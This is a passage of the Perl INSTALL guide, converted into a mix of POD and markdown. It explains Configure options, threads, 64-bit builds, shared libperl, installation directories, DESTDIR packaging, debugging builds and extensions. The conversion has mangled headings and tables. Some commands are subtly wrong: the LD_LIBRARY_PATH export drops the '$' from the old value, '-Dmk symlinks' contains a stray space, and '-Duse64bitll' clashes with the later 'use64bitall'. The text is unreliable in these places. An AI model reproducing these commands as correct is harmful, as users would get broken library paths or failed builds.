On a related issue, old modules may possibly be affected by the changes in the Perl language in the current release. Please see `pod/perldelta.pod` for a description of what's changed. See your installed copy of the `perllocal.pod` file for a (possibly incomplete) list of locally installed modules. Also see `CPAN::autobundle` for one way to make a "bundle" of your currently installed modules.

**=head1** Run Configure

Configure will figure out various things about your system. Some things Configure will figure out for itself, other things it will ask you about. To accept the default, just press RETURN. The default is almost always okay. It is normal for some things to be "NOT found", since Configure often searches for many different ways of performing the same function.

At any Configure prompt, you can type `&-d` and Configure will use the defaults from then on.

After it runs, Configure will perform variable substitution on all the \*.SH files and offer to run make depend.

The results of a Configure run are stored in the config.sh and Policy.sh files.

=head2 Common Configure options

Configure supports a number of useful options. Run

`Configure -h`

to get a listing. See the Porting/Glossary file for a complete list of Configure variables you can set and their definitions.

=over 4

=item C compiler

To compile with gcc, if it's not the default compiler on your system, you should run

```
sh Configure -Dcc=gcc
```

This is the preferred way to specify gcc (or any another alternative compiler) so that the hints files can set appropriate defaults.

=item Installation prefix

By default, for most systems, perl will be installed in /usr/local/{bin, lib, man}. (See L<"Installation Directories"> and L<"Coexistence with earlier versions of perl 5"> below for further details.)

You can specify a different 'prefix' for the default installation directory when Configure prompts you, or by using the Configure command line option -Dprefix='/some/directory', e.g.

```
sh Configure -Dprefix=/opt/perl
```

If your prefix contains the string "perl", then the suggested directory structure is simplified. For example, if you use `prefix=/opt/perl`, then Configure will suggest `/opt/perl/lib` instead of `/opt/perl/lib/perl5/`. Again, see [L<"Installation Directories">](#) below for more details. Do not include a trailing slash, (i.e. `/opt/perl/`) or you may experience odd test failures.

NOTE: You must not specify an installation directory that is the same as or below your perl source directory. If you do, `installperl` will attempt infinite recursion.

`=item /usr/bin/perl`

It may seem obvious, but Perl is useful only when users can easily find it. It's often a good idea to have both `/usr/bin/perl` and `/usr/local/bin/perl` be symlinks to the actual binary. Be especially careful, however, not to overwrite a version of perl supplied by your vendor unless you are sure you know what you are doing. If you insist on replacing your vendor's perl, useful information on how it was configured may be found with

```
perl -V:config_args
```

(Check the output carefully, however, since this doesn't preserve

spaces in arguments to Configure. For that, you have to look carefully at config\_arg1, config\_arg2, etc.)

By default, Configure will not try to link /usr/bin/perl to the current version of perl. You can turn on that behavior by running

```
Configure -Dinstallusrbinperl
```

or by answering 'yes' to the appropriate Configure prompt.

In any case, system administrators are strongly encouraged to put (symlinks to) perl and its accompanying utilities, such as perldoc, into a directory typically found along a user's PATH, or in another obvious and convenient place.

=item Building a development release

For development releases (odd subreleases, like 5.9.x) if you want to use Configure -d, you will also need to supply -Dusedevel to Configure, because the default answer to the question "do you really want to Configure a development version?" is "no". The -Dusedevel skips that sanity check.

=back

If you are willing to accept all the defaults, and you want terse output, you can run

```
sh Configure -des
```

=head2 Altering Configure variables for C compiler switches etc.

For most users, most of the Configure defaults are fine, or can easily be set on the Configure command line. However, if Configure doesn't have an option to do what you want, you can change Configure variables after the platform hints have been run by using Configure's -A switch. For example, here's how to add a couple of extra flags to C compiler invocations:

```
sh Configure -Accflags="-DPERL_EXTERNAL_GLOB -DNO_HASH_SEED"
```

To clarify, those ccflags values are not Configure options; if passed to Configure directly, they won't do anything useful (they will define a variable in config.sh, but without taking any action based upon it). But when passed to the compiler, those flags will activate `#ifdef` code.

For more help on Configure switches, run

```
sh Configure -h
```

## =head2 Major Configure-time Build Options

There are several different ways to Configure and build perl for your system. For most users, the defaults are sensible and will work.

Some users, however, may wish to further customize perl. Here are some of the main things you can change.

### =head3 Threads

On some platforms, perl can be compiled with support for threads. To enable this, run

```
sh Configure -Dusethreads
```

The default is to compile without thread support.

Perl used to have two different internal threads implementations. The current model (available internally since 5.6, and as a user-level module since 5.8) is called interpreter-based implementation (ithreads), with one interpreter per thread, and explicit sharing of data. The (deprecated) 5.005 version (5005threads) was removed for release 5.10.

The 'threads' module is for use with the ithreads implementation. The 'Thread' module emulates the old 5005threads interface on top of the current ithreads model.

When using threads, perl uses a dynamically-sized buffer for some of the thread-safe library calls, such as those in the `getpw*()` family. This buffer starts small, but it will keep growing until the result fits. To get a fixed upper limit, you should compile Perl with `PERL_REENTRANT_MAXSIZE` defined to be the number of bytes you want. One way to do this is to run Configure with `C<-Accflags=-DPERL_REENTRANT_MAXSIZE=65536>.`

### =head3 Large file support

Since Perl 5.6.0, Perl has supported large files (files larger than 2 gigabytes), and in many common platforms like Linux or Solaris this support is on by default.

This is both good and bad. It is good in that you can use large files, `seek()`, `stat()`, and `-s` them. It is bad in that if you are interfacing Perl using some extension, the components you are connecting to must also be large file aware: if Perl thinks files can be large but the other parts of the software puzzle do not understand the concept, bad things will happen.

There's also one known limitation with the current large files implementation: unless you also have 64-bit integers (see the next section), you cannot use the `printf/sprintf` non-decimal integer formats

like `C<%x>` to print file sizes. You can use `C<%d>`, though.

If you want to compile perl without large file support, use

```
sh Configure -Uuselargefiles
```

=head3 64 bit support

If your platform does not run natively at 64 bits, but can simulate them with compiler flags and/or `C<long long>` or `C<int64_t>`, you can build a perl that uses 64 bits.

There are actually two modes of 64-bitness: the first one is achieved using `Configure -Duse64bitint` and the second one using `Configure -Duse64bitll`. The difference is that the first one is minimal and the second one maximal. The first works in more places than the second.

The `C<use64bitint>` option does only as much as is required to get 64-bit integers into Perl (this may mean, for example, using "long longs") while your memory may still be limited to 2 gigabytes (because your pointers could still be 32-bit). Note that the name `C<64bitint>` does not imply that your C compiler will be using 64-bit `C<int>`s (it might, but it doesn't have to). The `C<use64bitint>` simply means that you will be able to have 64 bit-wide scalar values.

The C<use64bitall> option goes all the way by attempting to switch integers (if it can), longs (and pointers) to being 64-bit. This may create an even more binary incompatible Perl than -Duse64bitint: the resulting executable may not run at all in a 32-bit box, or you may have to reboot/reconfigure/rebuild your operating system to be 64-bit aware.

Natively 64-bit systems need neither -Duse64bitint nor -Duse64bitall. On these systems, it might be the default compilation mode, and there is currently no guarantee that passing no use64bitall option to the Configure process will build a 32bit perl. Implementing -Duse32bit\* options is planned for a future release of perl.

=head3 Long doubles

In some systems you may be able to use long doubles to enhance the range and precision of your double precision floating point numbers (that is, Perl's numbers). Use Configure -Duselongdouble to enable this support (if it is available).

=head3 "more bits"

You can "Configure -Dusemorebits" to turn on both the 64-bit support and the long double support.

### =head3 Algorithmic Complexity Attacks on Hashes

In Perl 5.8.0 and earlier it was easy to create degenerate hashes.

Processing such hashes would consume large amounts of CPU time, enabling a "Denial of Service" attack against Perl. Such hashes may be a problem for example for mod\_perl sites, sites with Perl CGI scripts and web services, that process data originating from external sources.

In Perl 5.8.1 a security feature was introduced to make it harder to create such degenerate hashes. A visible side effect of this was that the keys(), values(), and each() functions may return the hash elements in different order between different runs of Perl even with the same data. It also had unintended binary incompatibility issues with certain modules compiled against Perl 5.8.0.

In Perl 5.8.2 an improved scheme was introduced. Hashes will return elements in the same order as Perl 5.8.0 by default. On a hash by hash basis, if pathological data is detected during a hash key insertion, then that hash will switch to an alternative random hash seed. As adding keys can always dramatically change returned hash element order, existing programs will not be affected by this, unless they specifically test for pre-recorded hash return order for contrived data. (eg the list of keys generated by `C<map {"\0"x$_} 0..15>` trigger randomisation) In effect the new implementation means that 5.8.1 scheme is only being used on hashes which are under attack.

One can still revert to the old guaranteed repeatable order (and be vulnerable to attack by wily crackers) by setting the environment variable PERL\_HASH\_SEED, see L<perlrun/PERL\_HASH\_SEED>. Another option is to add -DUSE\_HASH\_SEED\_EXPLICIT to the compilation flags (for example by using C<Configure -Accflags=-DUSE\_HASH\_SEED\_EXPLICIT>), in which case one has to explicitly set the PERL\_HASH\_SEED environment variable to enable the security feature, or by adding -DNO\_HASH\_SEED to the compilation flags to completely disable the randomisation feature.

B<Perl has never guaranteed any ordering of the hash keys>, and the ordering has already changed several times during the lifetime of Perl 5. Also, the ordering of hash keys has always been, and continues to be, affected by the insertion order. Note that because of this randomisation for example the Data::Dumper results will be different between different runs of Perl, since Data::Dumper by default dumps hashes "unordered". The use of the Data::Dumper C<Sortkeys> option is recommended.

=head3 SOCKS

Perl can be configured to be 'socksified', that is, to use the SOCKS TCP/IP proxy protocol library. SOCKS is used to give applications access to transport layer network proxies. Perl supports only SOCKS Version 5. The corresponding Configure option is -Dusesocks.

You can find more about SOCKS from wikipedia at

[L<http://en.wikipedia.org/wiki/SOCKS>](http://en.wikipedia.org/wiki/SOCKS).

### =head3 Dynamic Loading

By default, Configure will compile perl to use dynamic loading.

If you want to force perl to be compiled completely

statically, you can either choose this when Configure prompts you or

you can use the Configure command line option `-Uusedl`.

With this option, you won't be able to use any new extension

(XS) module without recompiling perl itself.

### =head3 Building a shared Perl library

Currently, for most systems, the main perl executable is built by

linking the "perl library" `libperl.a` with `perlmain.o`, your static

extensions, and various extra libraries, such as `-lm`.

On systems that support dynamic loading, it may be possible to

replace `libperl.a` with a shared `libperl.so`. If you anticipate building

several different perl binaries (e.g. by embedding `libperl` into

different programs, or by using the optional compiler extension), then

you might wish to build a shared `libperl.so` so that all your binaries

can share the same library.

The disadvantages are that there may be a significant performance penalty associated with the shared libperl.so, and that the overall mechanism is still rather fragile with respect to different versions and upgrades.

In terms of performance, on my test system (Solaris 2.5\_x86) the perl test suite took roughly 15% longer to run with the shared libperl.so. Your system and typical applications may well give quite different results.

The default name for the shared library is typically something like libperl.so.5.8.8 (for Perl 5.8.8), or libperl.so.588, or simply libperl.so. Configure tries to guess a sensible naming convention based on your C library name. Since the library gets installed in a version-specific architecture-dependent directory, the exact name isn't very important anyway, as long as your linker is happy.

You can elect to build a shared libperl by

```
sh Configure -Duseshrplib
```

To build a shared libperl, the environment variable controlling shared library search (LD\_LIBRARY\_PATH in most systems, DYLD\_LIBRARY\_PATH for NeXTSTEP/OPENSTEP/Darwin, LIBRARY\_PATH for BeOS, LD\_LIBRARY\_PATH/SHLIB\_PATH for HP-UX, LIBPATH for AIX, PATH for Cygwin) must be set up to include

the Perl build directory because that's where the shared libperl will be created. Configure arranges makefile to have the correct shared library search settings. You can find the name of the environment variable Perl thinks works in your your system by

```
grep ldlibpthname config.sh
```

However, there are some special cases where manually setting the shared library path might be required. For example, if you want to run something like the following with the newly-built but not-yet-installed `./perl`:

```
cd t; ./perl -MTestInit misc/failing_test.t
```

or

```
./perl -llib ~/my_mission_critical_test
```

then you need to set up the shared library path explicitly.

You can do this with

```
LD_LIBRARY_PATH=`pwd`:LD_LIBRARY_PATH; export LD_LIBRARY_PATH
```

for Bourne-style shells, or

```
setenv LD_LIBRARY_PATH `pwd`
```

for Csh-style shells. (This procedure may also be needed if for some unexpected reason Configure fails to set up makefile correctly.) (And again, it may be something other than LD\_LIBRARY\_PATH for you, see above.)

You can often recognize failures to build/use a shared libperl from error messages complaining about a missing libperl.so (or libperl.sl in HP-UX), for example:

```
18126:./miniperl: /sbin/loader: Fatal Error: cannot map libperl.so
```

There is also an potential problem with the shared perl library if you want to have more than one "flavor" of the same version of perl (e.g. with and without -DDEBUGGING). For example, suppose you build and install a standard Perl 5.10.0 with a shared library. Then, suppose you try to build Perl 5.10.0 with -DDEBUGGING enabled, but everything else the same, including all the installation directories. How can you ensure that your newly built perl will link with your newly built libperl.so.8 rather with the installed libperl.so.8? The answer is that you might not be able to. The installation directory is encoded in the perl binary with the LD\_RUN\_PATH environment variable (or equivalent ld command-line option). On Solaris, you can override that with LD\_LIBRARY\_PATH; on Linux, you can only override at runtime via LD\_PRELOAD, specifying the exact filename you wish to be used; and on

Digital Unix, you can override `LD_LIBRARY_PATH` by setting the `_RLD_ROOT` environment variable to point to the perl build directory.

In other words, it is generally not a good idea to try to build a perl with a shared library if `$archlib/CORE/$libperl` already exists from a previous build.

A good workaround is to specify a different directory for the architecture-dependent library for your `-DDEBUGGING` version of perl. You can do this by changing all the `*archlib*` variables in `config.sh` to point to your new architecture-dependent library.

### =head3 Environment access

Perl often needs to write to the program's environment, such as when `C<%ENV>` is assigned to. Many implementations of the C library function `C<putenv()>` leak memory, so where possible perl will manipulate the environment directly to avoid these leaks. The default is now to perform direct manipulation whenever perl is running as a stand alone interpreter, and to call the safe but potentially leaky `C<putenv()>` function when the perl interpreter is embedded in another application. You can force perl to always use `C<putenv()>` by compiling with `C<-Accflags="-DPERL_USE_SAFE_PUTENV">`, see section `L</"Altering Configure variables for C compiler switches etc.">`. You can force an embedded perl to use direct manipulation by setting `C<PL_use_safe_putenv = 0;>` after the `C<perl_construct()>` call.

## =head2 Installation Directories

The installation directories can all be changed by answering the appropriate questions in Configure. For convenience, all the installation questions are near the beginning of Configure. Do not include trailing slashes on directory names. At any point during the Configure process, you can answer a question with `&-d` and Configure will use the defaults from then on. Alternatively, you can

```
grep '^install' config.sh
```

after Configure has run to verify the installation paths.

The defaults are intended to be reasonable and sensible for most people building from sources. Those who build and distribute binary distributions or who export perl to a range of systems will probably need to alter them. If you are content to just accept the defaults, you can safely skip the next section.

The directories set up by Configure fall into three broad categories.

=over 4

=item Directories for the perl distribution

By default, Configure will use the following directories for 5.14.3.

\$version is the full perl version number, including subversion, e.g.

5.14.3 or 5.9.5, and \$archname is a string like sun4-sunos,

determined by Configure. The full definitions of all Configure

variables are in the file Porting/Glossary.

Configure variable	Default value
\$prefixexp	/usr/local
\$binexp	\$prefixexp/bin
\$scriptdirexp	\$prefixexp/bin
\$privlibexp	\$prefixexp/lib/perl5/\$version
\$archlibexp	\$prefixexp/lib/perl5/\$version/\$archname
\$man1direxp	\$prefixexp/man/man1
\$man3direxp	\$prefixexp/man/man3
\$html1direxp	(none)
\$html3direxp	(none)

\$prefixexp is generated from \$prefix, with ~ expansion done to convert home directories into absolute paths. Similarly for the other variables listed. As file system calls do not do this, you should always reference the ...exp variables, to support users who build perl in their home directory.

Actually, Configure recognizes the SVR3-style

/usr/local/man/l\_man/man1 directories, if present, and uses those

instead. Also, if `$prefix` contains the string "perl", the library directories are simplified as described below. For simplicity, only the common style is shown here.

=item Directories for site-specific add-on files

After perl is installed, you may later wish to add modules (e.g. from CPAN) or scripts. Configure will set up the following directories to be used for installing those add-on modules and scripts.

Configure variable	Default value
<code>\$siteprefixexp</code>	<code>\$prefixexp</code>
<code>\$sitebinexp</code>	<code>\$siteprefixexp/bin</code>
<code>\$sitescriptexp</code>	<code>\$siteprefixexp/bin</code>
<code>\$sitelibexp</code>	<code>\$siteprefixexp/lib/perl5/site_perl/\$version</code>
<code>\$sitearchexp</code>	<code>\$siteprefixexp/lib/perl5/site_perl/\$version/\$archname</code>
<code>\$siteman1direxp</code>	<code>\$siteprefixexp/man/man1</code>
<code>\$siteman3direxp</code>	<code>\$siteprefixexp/man/man3</code>
<code>\$sitehtml1direxp</code>	(none)
<code>\$sitehtml3direxp</code>	(none)

By default, ExtUtils::MakeMaker will install architecture-independent modules into `$sitelib` and architecture-dependent modules into `$sitearch`.

=item Directories for vendor-supplied add-on files

Lastly, if you are building a binary distribution of perl for distribution, Configure can optionally set up the following directories for you to use to distribute add-on modules.

Configure variable	Default value
--------------------	---------------

<code>\$vendorprefixexp</code>	(none)
--------------------------------	--------

(The next ones are set only if vendorprefix is set.)

<code>\$vendorbinexp</code>	<code>\$vendorprefixexp/bin</code>
-----------------------------	------------------------------------

<code>\$vendorscriptexp</code>	<code>\$vendorprefixexp/bin</code>
--------------------------------	------------------------------------

<code>\$vendorlibexp</code>	
-----------------------------	--

	<code>\$vendorprefixexp/lib/perl5/vendor_perl/\$version</code>
--	--

<code>\$vendorarchexp</code>	
------------------------------	--

	<code>\$vendorprefixexp/lib/perl5/vendor_perl/\$version/\$archname</code>
--	---

<code>\$vendorman1direxp</code>	<code>\$vendorprefixexp/man/man1</code>
---------------------------------	---

<code>\$vendorman3direxp</code>	<code>\$vendorprefixexp/man/man3</code>
---------------------------------	---

<code>\$vendorhtml1direxp</code>	(none)
----------------------------------	--------

<code>\$vendorhtml3direxp</code>	(none)
----------------------------------	--------

These are normally empty, but may be set as needed. For example, a vendor might choose the following settings:

<code>\$prefix</code>	<code>/usr</code>
-----------------------	-------------------

<code>\$siteprefix</code>	<code>/usr/local</code>
---------------------------	-------------------------

<code>\$vendorprefix</code>	<code>/usr</code>
-----------------------------	-------------------

This would have the effect of setting the following:

`$binexp`                `/usr/bin`

`$scriptdirexp` `/usr/bin`

`$privlibexp`           `/usr/lib/perl5/$version`

`$archlibexp` `/usr/lib/perl5/$version/$archname`

`$man1direxp`          `/usr/man/man1`

`$man3direxp`          `/usr/man/man3`

`$sitebinexp`           `/usr/local/bin`

`$sitescriptexp`       `/usr/local/bin`

`$sitelibexp`           `/usr/local/lib/perl5/site_perl/$version`

`$sitearchexp` `/usr/local/lib/perl5/site_perl/$version/$archname`

`$siteman1direxp`      `/usr/local/man/man1`

`$siteman3direxp`      `/usr/local/man/man3`

`$vendorbinexp`        `/usr/bin`

`$vendorscriptexp`     `/usr/bin`

`$vendorlibexp`        `/usr/lib/perl5/vendor_perl/$version`

`$vendorarchexp`       `/usr/lib/perl5/vendor_perl/$version/$archname`

`$vendorman1direxp` `/usr/man/man1`

`$vendorman3direxp` `/usr/man/man3`

Note how in this example, the vendor-supplied directories are in the

/usr hierarchy, while the directories reserved for the end-user are in the /usr/local hierarchy.

The entire installed library hierarchy is installed in locations with version numbers, keeping the installations of different versions distinct.

However, later installations of Perl can still be configured to search the installed libraries corresponding to compatible earlier versions.

See L<"Coexistence with earlier versions of perl 5"> below for more details on how Perl can be made to search older version directories.

Of course you may use these directories however you see fit. For example, you may wish to use \$siteprefix for site-specific files that are stored locally on your own disk and use \$vendorprefix for site-specific files that are stored elsewhere on your organization's network. One way to do that would be something like

```
sh Configure -Dsiteprefix=/usr/local -Dvendorprefix=/usr/share/perl
```

```
=item otherlibdirs
```

As a final catch-all, Configure also offers an \$otherlibdirs variable. This variable contains a colon-separated list of additional directories to add to @INC. By default, it will be empty.

Perl will search these directories (including architecture and version-specific subdirectories) for add-on modules and extensions.

For example, if you have a bundle of perl libraries from a previous installation, perhaps in a strange place:

```
Configure -Dotherlibdirs=/usr/lib/perl5/site_perl/5.8.1
```

=item APPLLIB\_EXP

There is one other way of adding paths to @INC at perl build time, and that is by setting the APPLLIB\_EXP C pre-processor token to a colon-separated list of directories, like this

```
sh Configure -Accflags='-DAPPLLIB_EXP=\"/usr/libperl\"'
```

The directories defined by APPLLIB\_EXP get added to @INC I<first>, ahead of any others, and so provide a way to override the standard perl modules should you, for example, want to distribute fixes without touching the perl distribution proper. And, like otherlib dirs, version and architecture specific subdirectories are also searched, if present, at run time. Of course, you can still search other @INC directories ahead of those in APPLLIB\_EXP by using any of the standard run-time methods: \$PERLLIB, \$PERL5LIB, -I, use lib, etc.

=item usesitecustomize

Run-time customization of @INC can be enabled with:

```
sh Configure -Dusesitecustomize
```

which will define USE\_SITECUSTOMIZE and \$Config{usesitecustomize}.

When enabled, this makes perl run `F<$sitelibexp/sitecustomize.pl>` before anything else. This script can then be set up to add additional entries to @INC.

=item Man Pages

By default, man pages will be installed in \$man1dir and \$man3dir, which are normally `/usr/local/man/man1` and `/usr/local/man/man3`. If you want to use a .3pm suffix for perl man pages, you can do that with

```
sh Configure -Dman3ext=3pm
```

=item HTML pages

Currently, the standard perl installation does not do anything with HTML documentation, but that may change in the future. Further, some add-on modules may wish to install HTML documents. The `html Configure` variables listed above are provided if you wish to specify where such documents should be placed. The default is "none", but will likely eventually change to something useful based on user feedback.

=back

Some users prefer to append a `"/share"` to `$privlib` and `$sitelib` to emphasize that those directories can be shared among different architectures.

Note that these are just the defaults. You can actually structure the directories any way you like. They don't even have to be on the same filesystem.

Further details about the installation directories, maintenance and development subversions, and about supporting multiple versions are discussed in [L<"Coexistence with earlier versions of perl 5"> below](#).

If you specify a prefix that contains the string `"perl"`, then the library directory structure is slightly simplified. Instead of suggesting `$prefix/lib/perl5/`, `Configure` will suggest `$prefix/lib`.

Thus, for example, if you `Configure` with `-Dprefix=/opt/perl`, then the default library directories for 5.9.0 are

Configure variable	Default value
<code>\$privlib</code>	<code>/opt/perl/lib/5.9.0</code>
<code>\$archlib</code>	<code>/opt/perl/lib/5.9.0/\$archname</code>

```
$sitelib /opt/perl/lib/site_perl/5.9.0
```

```
$sitearch      /opt/perl/lib/site_perl/5.9.0/$archname
```

## =head2 Changing the installation directory

Configure distinguishes between the directory in which perl (and its associated files) should be installed, and the directory in which it will eventually reside. For most sites, these two are the same; for sites that use AFS, this distinction is handled automatically.

However, sites that use package management software such as rpm or dpkg, or users building binary packages for distribution may also wish to install perl into a different directory before moving perl to its final destination. There are two ways to do that:

## =over 4

### =item installprefix

To install perl under the /tmp/perl5 directory, use the following command line:

```
sh Configure -Dinstallprefix=/tmp/perl5
```

(replace /tmp/perl5 by a directory of your choice).

Beware, though, that if you go to try to install new add-on modules, they too will get installed in under '/tmp/perl5' if you follow this example. That's why it's usually better to use DESTDIR, as shown in the next section.

=item DESTDIR

If you need to install perl on many identical systems, it is convenient to compile it once and create an archive that can be installed on multiple systems. Suppose, for example, that you want to create an archive that can be installed in /opt/perl. One way to do that is by using the DESTDIR variable during C<make install>. The DESTDIR is automatically prepended to all the installation paths. Thus you simply do:

```
sh Configure -Dprefix=/opt/perl -des
make
make test
make install DESTDIR=/tmp/perl5
cd /tmp/perl5/opt/perl
tar cvf /tmp/perl5-archive.tar .
```

=back

=head2 Relocatable @INC

To create a relocatable perl tree, use the following command line:

```
sh Configure -Duserelocatableinc
```

Then the paths in @INC (and everything else in %Config) can be optionally located via the path of the perl executable.

That means that, if the string ".../" is found at the start of any path, it's substituted with the directory of \$^X. So, the relocation can be configured on a per-directory basis, although the default with "-Duserelocatableinc" is that everything is relocated. The initial install is done to the original configured prefix.

This option is not compatible with the building of a shared libperl ("-Duseshrplib"), because in that case perl is linked with an hard-coded rpath that points at the libperl.so, that cannot be relocated.

=head2 Site-wide Policy settings

After Configure runs, it stores a number of common site-wide "policy" answers (such as installation directories) in the Policy.sh file.

If you want to build perl on another system using the same policy defaults, simply copy the Policy.sh file to the new system's perl build directory, and Configure will use it. This will work even if Policy.sh was

generated for another version of Perl, or on a system with a different architecture and/or operating system. However, in such cases, you should review the contents of the file before using it: for example, your new target may not keep its man pages in the same place as the system on which the file was generated.

Alternatively, if you wish to change some or all of those policy answers, you should

```
rm -f Policy.sh
```

to ensure that Configure doesn't re-use them.

Further information is in the Policy\_sh.SH file itself.

If the generated Policy.sh file is unsuitable, you may freely edit it to contain any valid shell commands. It will be run just after the platform-specific hints files.

=head2 Disabling older versions of Perl

Configure will search for binary compatible versions of previously installed perl binaries in the tree that is specified as target tree, and these will be used as locations to search for modules by the perl being built. The list of perl versions found will be put in the Configure

variable `inc_version_list`.

To disable this use of older perl modules, even completely valid pure perl modules, you can specify to not include the paths found:

```
sh Configure -Dinc_version_list=none ...
```

If you do want to use modules from some previous perl versions, the variable must contain a space separated list of directories under the `site_perl` directory, and has to include architecture-dependent directories separately, eg.

```
sh Configure -Dinc_version_list="5.14.0/x86_64-linux 5.14.0" ...
```

When using the newer perl, you can add these paths again in the `$PERL5LIB` environment variable or with perl's `-I` runtime option.

=head2 Building Perl outside of the source directory

Sometimes it is desirable to build Perl in a directory different from where the sources are, for example if you want to keep your sources read-only, or if you want to share the sources between different binary architectures. You can do this (if your file system supports symbolic links) by

```
mkdir /tmp/perl/build/directory  
cd /tmp/perl/build/directory  
sh /path/to/perl/source/Configure -Dmk symlinks ...
```

This will create in /tmp/perl/build/directory a tree of symbolic links pointing to files in /path/to/perl/source. The original files are left unaffected. After Configure has finished you can just say

```
make  
make test  
make install
```

as usual, and Perl will be built in /tmp/perl/build/directory.

=head2 Building a debugging perl

You can run perl scripts under the perl debugger at any time with `B<perl -d your_script>`. If, however, you want to debug perl itself, you probably want to have support for perl internal debugging code (activated by adding `-DDEBUGGING` to `ccflags`), and/or support for the system debugger by adding `-g` to the optimisation flags. For that, use the parameter:

```
sh Configure -DDEBUGGING
```

or

```
sh Configure -DDEBUGGING=<mode>
```

For a more eye appealing call, -DEBUGGING is defined to be an alias for -DDEBUGGING. For both, the -U calls are also supported, in order to be able to overrule the hints or Policy.sh settings.

Here are the DEBUGGING modes:

=over 4

=item -DDEBUGGING

=item -DEBUGGING

=item -DEBUGGING=both

Sets both -DDEBUGGING in the ccflags, and adds -g to optimize.

You can actually specify -g and -DDEBUGGING independently (see below), but usually it's convenient to have both.

=item -DEBUGGING=-g

=item -Doptimize=-g

Adds -g to optimize, but does not set -DDEBUGGING.

(Note: Your system may actually require something like cc -g2.

Check your man pages for cc(1) and also any hint file for your system.)

=item -DEBUGGING=none

=item -UDEBUGGING

Removes -g from optimize, and -DDEBUGGING from ccflags.

=back

If you are using a shared libperl, see the warnings about multiple versions of perl under L<Building a shared Perl library>.

Note that a perl built with -DDEBUGGING will be bigger and will run more slowly than a standard perl.

=head2 DTrace support

On platforms where DTrace is available, it may be enabled by using the -Dusedtrace option to Configure. DTrace probes are available for

subroutine entry (sub-entry) and subroutine exit (sub-exit). Here's a simple D script that uses them:

```
perl$target:::sub-entry, perl$target:::sub-return {  
    printf("%s %s (%s:%d)\n", probename == "sub-entry" ? "->" : "<-",  
        copyinstr(arg0), copyinstr(arg1), arg2);  
}
```

=head2 Extensions

Perl ships with a number of standard extensions. These are contained in the ext/ subdirectory.

By default, Configure will offer to build every extension which appears to be supported. For example, Configure will offer to build GDBM\_File only if it is able to find the gdbm library.

To disable certain extensions so that they are not built, use the -Dnoextensions=... and -Donlyextensions=... options. They both accept a space-separated list of extensions, such as C<IPC/SysV>. The extensions listed in

C<noextensions> are removed from the list of extensions to build, while the C<onlyextensions> is rather more severe and builds only the listed extensions. The latter should be used with extreme caution since

certain extensions are used by many other extensions and modules:  
examples of such modules include Fcntl and IO. The order of processing  
these options is first C<only> (if present), then C<no> (if present).

Of course, you may always run Configure interactively and select only  
the extensions you want.

If you unpack any additional extensions in the ext/ directory before  
running Configure, then Configure will offer to build those additional  
extensions as well. Most users probably shouldn't have to do this --  
it is usually easier to build additional extensions later after perl  
has been installed. However, if you wish to have those additional  
extensions statically linked into the perl binary, then this offers a  
convenient way to do that in one step. (It is not necessary, however;  
you can build and install extensions just fine even if you don't have  
dynamic loading. See lib/ExtUtils/MakeMaker.pm for more details.)  
Another way of specifying extra modules is described in  
L<"Adding extra modules to the build"> below.

If you re-use an old config.sh but change your system (e.g. by  
adding libgdbm) Configure will still offer your old choices of extensions  
for the default answer, but it will also point out the discrepancy to  
you.

=head2 Including locally-installed libraries

Perl comes with interfaces to number of libraries, including threads, dbm, ndbm, gdbm, and Berkeley db. For the `*db*` extension, if Configure can find the appropriate header files and libraries, it will automatically include that extension. The threading extension needs to be specified explicitly (see [L<Threads>](#)).

Those libraries are not distributed with perl. If your header (`.h`) files for those libraries are not in a directory normally searched by your C compiler, then you will need to include the appropriate `-I/your/directory` option when prompted by Configure. If your libraries are not in a directory normally searched by your C compiler and linker, then you will need to include the appropriate `-L/your/directory` option when prompted by Configure. See the examples below.

=head3 Examples

=over 4

=item gdbm in `/usr/local`

Suppose you have gdbm and want Configure to find it and build the `GDBM_File` extension. This example assumes you have `gdbm.h` installed in `/usr/local/include/gdbm.h` and `libgdbm.a` installed in `/usr/local/lib/libgdbm.a`. Configure should figure all the

necessary steps out automatically.

Specifically, when Configure prompts you for flags for your C compiler, you should include `-I/usr/local/include`, if it's not here yet. Similarly, when Configure prompts you for linker flags, you should include `-L/usr/local/lib`.

If you are using dynamic loading, then when Configure prompts you for linker flags for dynamic loading, you should again include `-L/usr/local/lib`.

Again, this should all happen automatically. This should also work if you have gdbm installed in any of (`/usr/local`, `/opt/local`, `/usr/gnu`, `/opt/gnu`, `/usr/GNU`, or `/opt/GNU`).

=item BerkeleyDB in `/usr/local/BerkeleyDB`

The version of BerkeleyDB distributed by `sleepycat.com` installs in a version-specific directory by default, typically something like `/usr/local/BerkeleyDB.4.7`. To have Configure find that, you need to add `-I/usr/local/BerkeleyDB.4.7/include` to cc flags, as in the previous example, and you will also have to take extra steps to help Configure find `-ldb`. Specifically, when Configure prompts you for library directories, add `/usr/local/BerkeleyDB.4.7/lib` to the list. Also, you will need to add appropriate linker flags to tell the runtime linker where to find the

BerkeleyDB shared libraries.

It is possible to specify this from the command line (all on one line):

```
sh Configure -de \  
-Dlocincpth='/usr/local/BerkeleyDB.4.7/include /usr/local/include' \  
-Dloclibpth='/usr/local/BerkeleyDB.4.7/lib /usr/local/lib' \  
-Aldflags='-R/usr/local/BerkeleyDB.4.7/lib'
```

locincpth is a space-separated list of include directories to search.

Configure will automatically add the appropriate -I directives.

loclibpth is a space-separated list of library directories to search.

Configure will automatically add the appropriate -L directives.

The addition to ldflags is so that the dynamic linker knows where to find the BerkeleyDB libraries. For Linux and Solaris, the -R option does that. Other systems may use different flags. Use the appropriate flag for your system.

=back

=head2 Overriding an old config.sh

If you want to use an old config.sh produced by a previous run of Configure, but override some of the items with command line options, you need to use `B<Configure -O>`.

=head2 GNU-style configure

If you prefer the GNU-style configure command line interface, you can use the supplied configure.gnu command, e.g.

```
CC=gcc ./configure.gnu
```

The configure.gnu script emulates a few of the more common configure options. Try

```
./configure.gnu --help
```

for a listing.

(The file is called configure.gnu to avoid problems on systems that would not distinguish the files "Configure" and "configure".)

=head2 Malloc Issues

Perl relies heavily on `malloc(3)` to grow data structures as needed, so perl's performance can be noticeably affected by the performance of

the malloc function on your system. The perl source is shipped with a version of malloc that has been optimized for the typical requests from perl, so there's a chance that it may be both faster and use less memory than your system malloc.

However, if your system already has an excellent malloc, or if you are experiencing difficulties with extensions that use third-party libraries that call malloc, then you should probably use your system's malloc. (Or, you might wish to explore the malloc flags discussed below.)

=over 4

=item Using the system malloc

To build without perl's malloc, you can use the Configure command

```
sh Configure -Uusemymalloc
```

or you can answer 'n' at the appropriate interactive Configure prompt.

